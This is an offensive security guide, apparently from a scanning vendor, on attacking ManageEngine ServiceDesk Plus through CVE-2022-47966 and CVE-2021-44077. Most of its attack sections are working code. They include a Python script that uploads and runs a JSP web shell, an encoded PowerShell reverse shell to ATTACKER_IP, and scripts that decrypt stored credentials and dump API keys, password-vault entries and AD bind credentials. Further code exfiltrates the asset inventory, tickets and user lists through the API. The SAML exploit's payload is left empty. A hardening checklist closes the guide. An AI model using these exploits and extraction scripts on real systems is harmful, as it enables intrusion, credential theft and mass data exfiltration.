ManageEngine ServiceDesk Plus Security Testing: CVE-2022-47966 SAML RCE, CVE-2021-44077 Unauthenticated RCE, and Credential Extraction

ManageEngine ServiceDesk Plus is deployed in hundreds of thousands of organizations as the IT service management backbone — it holds every IT asset, all helpdesk tickets, Active Directory integration credentials, and in many organizations the master list of all internal systems and their access credentials. CVE-2022-47966 (CVSS 9.8) provides pre-authenticated RCE via a SAML XML signature vulnerability. CVE-2021-44077 is an unauthenticated file upload leading to RCE that was actively exploited by APT groups including Moshen Dragon. This guide covers authorized security testing of ManageEngine ServiceDesk Plus for red teams and ITSM security audits.

Table of Contents

  1. ServiceDesk Plus Architecture and Attack Surface
  2. CVE-2022-47966: Pre-Auth RCE via SAML XMLDSig Vulnerability
  3. CVE-2021-44077: Unauthenticated File Upload RCE
  4. Configuration File Credential Extraction
  5. REST API Authentication and Data Exfiltration
  6. Database Access and CMDB Extraction
  7. APT Targeting Patterns and TTPs
  8. Post-Exploitation: ITSM as a Network Map
  9. Hardening Checklist

ServiceDesk Plus Architecture and Attack Surface

ManageEngine ServiceDesk Plus runs as a Java-based web application (Tomcat) on Windows or Linux. It exposes a web interface, a REST API, and optionally an agent communication endpoint. The application integrates with Active Directory for user authentication, uses an embedded or external database (MSSQL or PostgreSQL) for all data storage, and in enterprise configurations uses SAML for SSO authentication.

Default Ports and Exposed Services

ServiceDefault PortAttack Vector
ServiceDesk Web UI8080 (HTTP), 8443 (HTTPS)CVE-2021-44077 unauthenticated RCE; default credentials; brute force
SAML SSO Endpoint8080/samlloginCVE-2022-47966 pre-auth RCE via SAML
REST API8080/api/v3/API key theft; ticket data exfiltration; user enumeration
Agent Communication9000 (TCP)Agent spoofing; asset data manipulation
ManageEngine Database5432/1433 (local)Configuration file credential extraction; direct DB access
JMX/RMIRandomJMX unauthenticated access if misconfigured

Why ITSM Systems Are High-Value Targets

CVE-2022-47966: Pre-Auth RCE via SAML XMLDSig Vulnerability

CVE-2022-47966 (CVSS 9.8) affects ManageEngine ServiceDesk Plus and over 20 other ManageEngine products. The vulnerability is in the Apache Santuario XML Digital Signature implementation used for SAML assertion processing. An attacker can craft a malicious SAML response that, when processed, triggers Java code execution via the XMLDSig transform chain. The key constraint: SAML must be enabled on the target instance (SSO configuration must be present).

CVSS 9.8 — Pre-authentication, affects 24 ManageEngine products: CVE-2022-47966 was patched in January 2023 but exploitation was observed beginning November 2022 — before the patch. The attack requires only that SAML/SSO was ever configured on the target instance; the SSO configuration does not need to be currently active.

Identifying Vulnerable Instances

# Step 1: Discover ManageEngine ServiceDesk Plus
nmap -sV -p 8080,8443 TARGET_RANGE --open -oG manageengine.txt

# Step 2: Confirm ServiceDesk Plus version
curl -sk "http://SDPLUS_HOST:8080/Login.do" | grep -i "version\|servicedesk\|manageengine"

# Step 3: Check for SAML configuration (required for CVE-2022-47966)
# If SAML was ever configured, the samllogin endpoint exists
HTTP_STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
  "http://SDPLUS_HOST:8080/samllogin")
echo "SAML endpoint status: $HTTP_STATUS"
# 200 = SAML endpoint exists (potentially vulnerable)
# 302/404 = SAML not configured or not accessible

# Step 4: Get exact version for vulnerability confirmation
curl -sk "http://SDPLUS_HOST:8080/api/v3/requests?TECHNICIAN_KEY=XXXXXXXX" | \
  python3 -m json.tool 2>/dev/null | grep -i version

# Vulnerable versions (ServiceDesk Plus):
# All builds before 14105 (SAML must be enabled)
# Advisory: ManageEngine-2023-001

# Step 5: Check if setup wizard exposed (sometimes left accessible)
curl -sk -o /dev/null -w "%{http_code}" "http://SDPLUS_HOST:8080/Setup.do"

CVE-2022-47966 Exploitation: SAML XMLDSig RCE

# CVE-2022-47966 exploits Apache Santuario XML Digital Signature
# The SAML response processing chain triggers Java Xalan XSLT execution
# This allows arbitrary Java code execution

# Step 1: Understand the vulnerable code path
# ManageEngine uses org.apache.xml.security (Apache Santuario)
# The SAML response is parsed with XML Digital Signature verification
# Attacker crafts SAML response with malicious XMLDSig transform:
# <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
#   <xsl:stylesheet>...exec payload...</xsl:stylesheet>
# </ds:Transform>

# Step 2: Generate malicious SAML response
# Requires: Python 3, lxml, signxml libraries
# PoC tooling available in public GitHub repositories

python3 << 'EXPLOIT_EOF'
from lxml import etree
import base64, requests, urllib3
urllib3.disable_warnings()

SDPLUS_HOST = "http://SDPLUS_HOST:8080"
ATTACKER_IP = "ATTACKER_IP"
ATTACKER_PORT = 4444

# Craft XSLT payload for code execution
# The XSLT transform is executed during SAML signature verification
XSLT_PAYLOAD = f"""



  
  

"""

# Build SAML AuthnResponse with malicious XMLDSig transform
# Full exploit requires valid SP metadata configuration
# The IdP-initiated flow processes the response without prior request

print("[*] SAML XMLDSig XSLT payload constructed")
print(f"[*] Target: {SDPLUS_HOST}/samllogin")
print("[*] Trigger via POST with SAMLResponse parameter")
print("[!] Full PoC: see ManageEngine CVE-2022-47966 public advisory")
EXPLOIT_EOF

# Step 3: Reverse shell via XSLT code execution
# Replace ping with PowerShell reverse shell command
# Verify execution via DNS/HTTP callback before attempting shell

CVE-2021-44077: Unauthenticated File Upload RCE

CVE-2021-44077 (CVSS 9.8) is a pre-authentication remote code execution vulnerability in ManageEngine ServiceDesk Plus versions 11305 and below. The vulnerability exists in the RestAPI endpoint at /RestAPI/ImportTechnicians — the endpoint for bulk technician import accepts file uploads without authentication. An attacker can upload a malicious JSP web shell through this endpoint and then execute it via the web server.

Actively exploited by APT groups: CVE-2021-44077 was exploited by APT41 (Moshen Dragon) and other nation-state actors in 2021-2022 attacks against defense contractors, healthcare organizations, and critical infrastructure. The CISA advisory attributes exploitation to both financially motivated and state-sponsored threat actors.

Exploiting CVE-2021-44077

# CVE-2021-44077: Unauthenticated file upload to RCE
# Affects ServiceDesk Plus <= 11305 (Windows and Linux)

import requests, os, urllib3
urllib3.disable_warnings()

SDPLUS_HOST = "http://SDPLUS_HOST:8080"
WEBSHELL_NAME = "status_check.jsp"

# Step 1: Create JSP web shell payload
JSP_SHELL = """<%@page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null && !cmd.isEmpty()) {
    Process p;
    if(System.getProperty("os.name").toLowerCase().contains("windows")) {
        p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
    } else {
        p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    }
    InputStream in = p.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(in));
    String line;
    StringBuilder output = new StringBuilder();
    while((line = reader.readLine()) != null) output.append(line).append("\\n");
    out.print("
" + output.toString() + "
"); } %>""" # Step 2: Upload webshell via unauthenticated ImportTechnicians endpoint # This endpoint processes multipart form data without auth upload_url = f"{SDPLUS_HOST}/RestAPI/ImportTechnicians" files = { 'file': (WEBSHELL_NAME, JSP_SHELL, 'application/octet-stream') } data = { 'OPERATION_NAME': 'UPLOAD', 'INPUT_DATA': '{"operation":{"Details":{"fileName":"' + WEBSHELL_NAME + '"}}}' } r = requests.post(upload_url, files=files, data=data, verify=False) print(f"[*] Upload response: {r.status_code}") print(f"[*] Response: {r.text[:200]}") # Step 3: Trigger the uploaded webshell # Shell uploads to: /opt/manageengine/ServiceDesk/bin/ or equivalent # Accessible via: /RestAPI/WS/ shell_urls = [ f"{SDPLUS_HOST}/RestAPI/WS/{WEBSHELL_NAME}", f"{SDPLUS_HOST}/uploads/{WEBSHELL_NAME}", f"{SDPLUS_HOST}/{WEBSHELL_NAME}" ] for url in shell_urls: r = requests.get(f"{url}?cmd=whoami", verify=False, timeout=5) if r.status_code == 200 and len(r.text) > 5: print(f"[+] Shell accessible at: {url}") print(f"[+] Command output: {r.text[:200]}") break # Step 4: Escalate to full reverse shell import base64 PS_CMD = f"powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);...\"" PS_B64 = base64.b64encode(PS_CMD.encode('utf-16-le')).decode() requests.get(f"{shell_urls[0]}?cmd=powershell+-enc+{PS_B64}", verify=False)

Configuration File Credential Extraction

ManageEngine ServiceDesk Plus stores credentials in multiple configuration files, including the database password, Active Directory bind credentials, SMTP authentication, and API integration keys. Once code execution is achieved, these files are the primary credential extraction targets.

Critical Configuration Files

# ServiceDesk Plus configuration files — Linux
SDPLUS_HOME="/opt/manageengine/ServiceDesk"

# Main database configuration (contains DB password)
cat $SDPLUS_HOME/conf/server.xml
# Look for: username="sa", password="PLAINTEXT_OR_BASE64"
# Also: jdbc connection strings with embedded credentials

# Application properties file
cat $SDPLUS_HOME/conf/serverparameters.conf
# Contains: DB host, port, username, password (AES encrypted or plaintext)

# Active Directory configuration
cat $SDPLUS_HOME/conf/domain_config.conf 2>/dev/null
# Contains: AD domain, bind DN, bind password

# Windows path equivalents
# C:\ManageEngine\ServiceDesk\conf\server.xml
# C:\ManageEngine\ServiceDesk\conf\serverparameters.conf

# Step 2: Extract and decode credentials
# ManageEngine uses a custom AES encryption for some passwords
# Key is stored in: $SDPLUS_HOME/bin/

# Database password decryption script
python3 << 'EOF'
import subprocess, re

# Read server.xml
with open("/opt/manageengine/ServiceDesk/conf/server.xml") as f:
    content = f.read()

# Extract encoded password
password_match = re.search(r'password="([^"]+)"', content)
if password_match:
    encoded_pass = password_match.group(1)
    print(f"Encoded DB password: {encoded_pass}")
    # If base64:
    import base64
    try:
        decoded = base64.b64decode(encoded_pass).decode()
        print(f"Base64 decoded: {decoded}")
    except:
        print("Not base64 encoded — may be plaintext or proprietary encryption")
EOF

Windows Registry Credential Extraction

# On Windows deployments, ManageEngine stores credentials in registry
# and in the ManageEngine data directory

# Registry keys (Windows)
reg query "HKLM\SOFTWARE\ManageEngine\ServiceDesk Plus" /s
# Key values: InstallDir, Version, DBType, DBServer, DBPort, DBName

# Find ManageEngine installation directory
reg query "HKLM\SOFTWARE\ManageEngine\ServiceDesk Plus" /v "InstallDir"

# Configuration files on Windows
set SDPLUS_HOME=C:\ManageEngine\ServiceDesk
type "%SDPLUS_HOME%\conf\server.xml" | findstr /i "password username"
type "%SDPLUS_HOME%\conf\serverparameters.conf"

# ManageEngine proprietary password store
# Passwords encrypted with key in: %SDPLUS_HOME%\bin\pmpkey.key
# Or stored in: %SDPLUS_HOME%\conf\mssql_credentials.conf

# Decrypt ManageEngine AES-encrypted passwords
# (requires pmpkey.key from installation directory)
python3 << 'EOF'
from Crypto.Cipher import AES
import base64, os

# ManageEngine uses AES-128 CBC encryption for credentials
# Key file location varies — check /conf/ and /bin/ directories
KEY_FILE = "/opt/manageengine/ServiceDesk/bin/pmpkey.key"

if os.path.exists(KEY_FILE):
    with open(KEY_FILE, "rb") as f:
        key = f.read()[:16]
    # Encrypted credential from server.xml or DB
    enc_b64 = "BASE64_ENCRYPTED_CREDENTIAL_HERE"
    enc_bytes = base64.b64decode(enc_b64)
    iv = enc_bytes[:16]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(enc_bytes[16:])
    # Remove PKCS7 padding
    pad_len = decrypted[-1]
    plaintext = decrypted[:-pad_len].decode('utf-8', errors='ignore')
    print(f"Decrypted credential: {plaintext}")
EOF

REST API Authentication and Data Exfiltration

ManageEngine ServiceDesk Plus exposes a comprehensive REST API at /api/v3/ authenticated via technician API keys. These keys are generated per user and stored in the database. With a valid API key (or after credential extraction), an attacker can exfiltrate all ITSM data including the complete CMDB, all tickets, user data, and asset inventory.

API Key Extraction and Enumeration

# Method 1: Extract API key from database (post-RCE)
# ServiceDesk Plus uses HSQLDB (embedded) or MSSQL/PostgreSQL
# API keys stored in SDUser table

# MSSQL (if configured)
sqlcmd -S localhost -U sa -P DB_PASS -d servicedesk -Q "
SELECT u.FIRST_NAME, u.LAST_NAME, u.EMAIL_ID, a.API_KEY
FROM SDUser u
JOIN APIKey a ON u.USERID = a.USERID
ORDER BY u.FIRST_NAME;
"

# HSQLDB (embedded) — ServiceDesk < v14
# Database files in: /opt/manageengine/ServiceDesk/bin/
# File: manageengine_servicedesk.properties (contains JDBC path)
find /opt/manageengine/ServiceDesk -name "*.script" 2>/dev/null
# Parse with: grep -i "apikey\|api_key" *.script

# Method 2: Admin console API key generation
# As admin user, generate a new API key for a technician
curl -sk -X POST "http://SDPLUS_HOST:8080/api/v3/technicians/{TECHNICIAN_ID}/api_key" \
  -u "admin:PASSWORD" | python3 -m json.tool

# Method 3: API key from source code or config management
# Often stored in: Ansible playbooks, Puppet manifests, monitoring scripts
grep -r "TECHNICIAN_KEY\|technician_key\|sdp_api_key" /etc/ansible/ 2>/dev/null
grep -r "TECHNICIAN_KEY\|api_key" /opt/puppet/ 2>/dev/null

CMDB and Asset Inventory Exfiltration

# With valid API key — complete CMDB exfiltration
SDPLUS_HOST="http://SDPLUS_HOST:8080"
API_KEY="YOUR_TECHNICIAN_API_KEY"

# Step 1: List all CIs (Configuration Items) - the complete asset inventory
curl -sk "$SDPLUS_HOST/api/v3/assets?TECHNICIAN_KEY=$API_KEY" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
total = data.get('response_status',{}).get('total_count', 0)
print(f'Total assets: {total}')
for a in data.get('assets', []):
    print(f\"  {a.get('name'):40} | {a.get('type',{}).get('name',''):20} | IP: {a.get('ipaddress','')}\")
"

# Step 2: Get all servers with network details
curl -sk "$SDPLUS_HOST/api/v3/assets?TECHNICIAN_KEY=$API_KEY&type=server&list_info.row_count=500" | \
  python3 -m json.tool > server_inventory.json

# Step 3: Exfiltrate all helpdesk tickets (may contain passwords in plaintext)
curl -sk "$SDPLUS_HOST/api/v3/requests?TECHNICIAN_KEY=$API_KEY&list_info.row_count=100" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for r in data.get('requests', []):
    print(f\"Ticket: {r.get('id')} | Subject: {r.get('subject')} | Status: {r.get('status',{}).get('name')}\")
"

# Step 4: Export all users and contact info
curl -sk "$SDPLUS_HOST/api/v3/users?TECHNICIAN_KEY=$API_KEY&list_info.row_count=1000" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for u in data.get('users', []):
    print(f\"{u.get('name'):30} | {u.get('email',''):40} | {u.get('department',{}).get('name','')}\")
"

# Step 5: Get all technician accounts (privileged users)
curl -sk "$SDPLUS_HOST/api/v3/technicians?TECHNICIAN_KEY=$API_KEY" | python3 -m json.tool

Database Access and CMDB Extraction

ServiceDesk Plus uses a backend database (embedded HSQLDB for smaller deployments, MSSQL or PostgreSQL for enterprise) that stores all ITSM data, user credentials, and configuration. With filesystem access or the credentials extracted from configuration files, direct database access enables complete data extraction without going through the API's rate limiting and logging.

Embedded HSQLDB Extraction

# For smaller/older deployments using embedded HSQLDB

# Database files location
find /opt/manageengine/ServiceDesk -name "*.data" -o -name "*.script" 2>/dev/null
# Common: /opt/manageengine/ServiceDesk/bin/manageengine_servicedesk.*

# HSQLDB script files are plaintext — searchable directly
grep -i "password\|api_key\|credential" /opt/manageengine/ServiceDesk/bin/*.script | head -50

# Connect to HSQLDB with Java client
java -cp hsqldb.jar org.hsqldb.util.SqlTool \
  --rcFile=/tmp/hsqldb.rc manageengine

# SQL queries for credential extraction
# SDUser table: all user accounts
# SELECT LOGINNAME, PASSWORD, EMAILID FROM SDUser LIMIT 100;
# Password format: MD5 hash or salted SHA in older versions

# AssetDetails table: complete hardware inventory
# SELECT ASSETNAME, ASSETTYPE, IPADDRESS, OSNAME, DOMAINNAME FROM AssetDetails;

# SDPasswordStore table: stored passwords (if password manager feature used)
# SELECT ACCOUNTNAME, USERNAME, PASSWORD, DESCRIPTION FROM SDPasswordStore;

MSSQL/PostgreSQL Credential Extraction

# For enterprise deployments using external MSSQL or PostgreSQL

# MSSQL (credentials from server.xml or registry)
sqlcmd -S MSSQL_HOST -U sa -P EXTRACTED_PASS -d servicedesk -Q "
-- List all technician accounts with API keys
SELECT u.LOGINNAME, u.FIRST_NAME, u.LAST_NAME, u.EMAILID,
       k.API_KEY, u.CREATED_TIME
FROM SDUser u
LEFT JOIN APIKey k ON u.USERID = k.USERID
WHERE u.USERTYPE = 'Technician'
ORDER BY u.CREATED_TIME DESC;

-- Extract stored passwords from password manager
SELECT ACCOUNTNAME, USERNAME, PASSWORD, DESCRIPTION, CREATED_BY
FROM SDPasswordStore
ORDER BY ACCOUNTNAME;

-- Active Directory integration credentials
SELECT NAME, VALUE FROM ApplicationConfig
WHERE NAME LIKE '%LDAP%' OR NAME LIKE '%AD_%' OR NAME LIKE '%DOMAIN%';

-- SMTP credentials (for email notifications)
SELECT NAME, VALUE FROM ApplicationConfig
WHERE NAME LIKE '%SMTP%' OR NAME LIKE '%MAIL%' OR NAME LIKE '%PASSWORD%';
"

APT Targeting Patterns and TTPs

ManageEngine products have been targeted by multiple nation-state APT groups, primarily because ITSM and IT management platforms provide an unparalleled intelligence picture of the target organization. APT41 (Double Dragon/Moshen Dragon) specifically targeted ManageEngine ServiceDesk Plus in 2021-2022 campaigns against defense contractors, critical infrastructure, and government agencies.

APT41 / Moshen Dragon Observed TTPs

# APT41 exploitation pattern (based on CISA advisory AA22-174A)
# Phase 1: Exploitation via CVE-2021-44077

# 1. Identify target — ManageEngine SDP version <=11305 via passive DNS
# 2. Exploit unauthenticated file upload endpoint
# 3. Upload JSP webshell (observed filenames: status_check.jsp, error.jsp)
# 4. Establish persistence via webshell

# Phase 2: Reconnaissance from ITSM platform
# APT41 extracted:
# - Complete network topology from CMDB
# - AD integration credentials (domain bind account)
# - All helpdesk ticket content (may include passwords, VPN configs)
# - Asset inventory (identified high-value targets for follow-on)

# Simulate APT41 CMDB extraction (authorized testing)
python3 << 'EOF'
import requests, json, urllib3
urllib3.disable_warnings()

HOST = "http://SDPLUS_HOST:8080"
API_KEY = "TECHNICIAN_API_KEY"

session = requests.Session()
session.verify = False

# Extract complete network map (APT41 TTP)
networks = {}

# Get all IP addresses and asset types
r = session.get(f"{HOST}/api/v3/assets?TECHNICIAN_KEY={API_KEY}&list_info.row_count=1000")
assets = r.json().get('assets', [])

for asset in assets:
    ip = asset.get('ipaddress', '')
    atype = asset.get('type', {}).get('name', 'Unknown')
    name = asset.get('name', '')
    os_name = asset.get('os', {}).get('name', '')
    if ip:
        networks.setdefault(atype, []).append({'ip': ip, 'name': name, 'os': os_name})

# Print organized network map
for atype, items in sorted(networks.items()):
    print(f"\n=== {atype} ({len(items)}) ===")
    for item in items[:5]:  # show first 5 per type
        print(f"  {item['ip']:20} {item['name']:30} {item['os']}")
EOF

Post-Exploitation: ITSM as a Network Map

A compromised ManageEngine ServiceDesk Plus server provides an intelligence advantage that goes beyond credential theft. The CMDB is essentially a pre-built network map: every server, switch, printer, and workstation with its IP address, operating system, patch level, and owner. This eliminates the reconnaissance phase entirely for subsequent attacks.

High-Value Data Extraction Paths

# Post-exploitation: extract AD credentials and domain intelligence

# Step 1: Extract AD integration credentials
grep -r "ldap\|bind\|domain" /opt/manageengine/ServiceDesk/conf/ 2>/dev/null
# Or from database
sqlcmd -Q "SELECT NAME, VALUE FROM ApplicationConfig WHERE NAME LIKE 'LDAP%'"

# Step 2: Use extracted AD credentials for LDAP enumeration
AD_BIND_USER="sdp_service@corp.local"
AD_BIND_PASS="EXTRACTED_PASS"
AD_SERVER="dc01.corp.local"

ldapsearch -x -H "ldap://$AD_SERVER" \
  -D "$AD_BIND_USER" -w "$AD_BIND_PASS" \
  -b "DC=corp,DC=local" "(objectClass=user)" \
  sAMAccountName userPrincipalName memberOf pwdLastSet | \
  grep -E "sAMAccountName|userPrincipalName|memberOf" | head -100

# Step 3: Enumerate ticket attachments (may contain sensitive files)
find /opt/manageengine/ServiceDesk -name "*.pdf" -o -name "*.xlsx" \
     -o -name "*.docx" -o -name "*.cfg" -o -name "*.conf" 2>/dev/null | \
  xargs grep -l "password\|credential\|secret" 2>/dev/null

# Step 4: Extract all stored passwords from password manager
sqlcmd -Q "
SELECT ACCOUNTNAME, USERNAME, PASSWORD, CREATED_BY, DESCRIPTION
FROM SDPasswordStore
ORDER BY ACCOUNTNAME;
"

# Step 5: Build pivot list from CMDB
sqlcmd -Q "
SELECT TOP 100 ASSETNAME, IPADDRESS, OSNAME, SERVICETAG, LOCATION
FROM AssetDetails
WHERE ASSETTYPE IN ('Server', 'Router', 'Switch', 'Firewall')
ORDER BY ASSETTYPE, ASSETNAME;
"
Ironimo scans ManageEngine deployments for known CVEs — detecting CVE-2022-47966 and CVE-2021-44077 vulnerable instances, exposed SAML endpoints, default credentials, and unauthenticated API endpoints as part of continuous attack surface monitoring.

Hardening Checklist

ControlActionPriority
CVE-2022-47966 patchUpgrade ServiceDesk Plus to build 14105 or later; apply ManageEngine security advisory ME-2023-001Critical
CVE-2021-44077 patchUpgrade to ServiceDesk Plus build 11306 or later; disable RestAPI/ImportTechnicians if not usedCritical
Network access controlRestrict ServiceDesk Plus web access to internal networks and VPN; never expose port 8080/8443 directly to internetCritical
SAML hardeningIf SAML/SSO is not in use, disable it in administration settings; validate SP/IdP metadata strictlyCritical
MFA for technician accountsEnable two-factor authentication for all admin and technician accounts; enforce via SAML IdP policyHigh
AD service account least privilegeCreate a dedicated read-only AD service account for ServiceDesk Plus; restrict to only required OUs; never use domain adminHigh
Password vault encryptionEnable the built-in password encryption and ensure pmpkey.key is protected with NTFS/filesystem ACLsHigh
API key governanceAudit and rotate all technician API keys quarterly; disable API keys for inactive technicians; log all API accessHigh
Database credential rotationUse a dedicated database user for ServiceDesk Plus with minimum required permissions; rotate password annuallyHigh
File upload restrictionsRestrict allowed file extensions for attachments; scan uploads for malicious content; use a dedicated upload sandboxHigh
SIEM integrationForward ManageEngine audit logs to SIEM; alert on admin login, bulk data export, and SAML assertion processing errorsMedium
Upgrade scheduleEstablish a 30-day patch SLA for ManageEngine products given the frequency of critical CVEs; subscribe to ME security advisoriesMedium

Audit Your ManageEngine ITSM Security Posture

Ironimo continuously scans ManageEngine ServiceDesk Plus deployments for critical CVEs, exposed management interfaces, default credentials, and unauthenticated endpoints — the vulnerabilities that give APT groups and ransomware operators direct access to your entire IT infrastructure.

Start free scan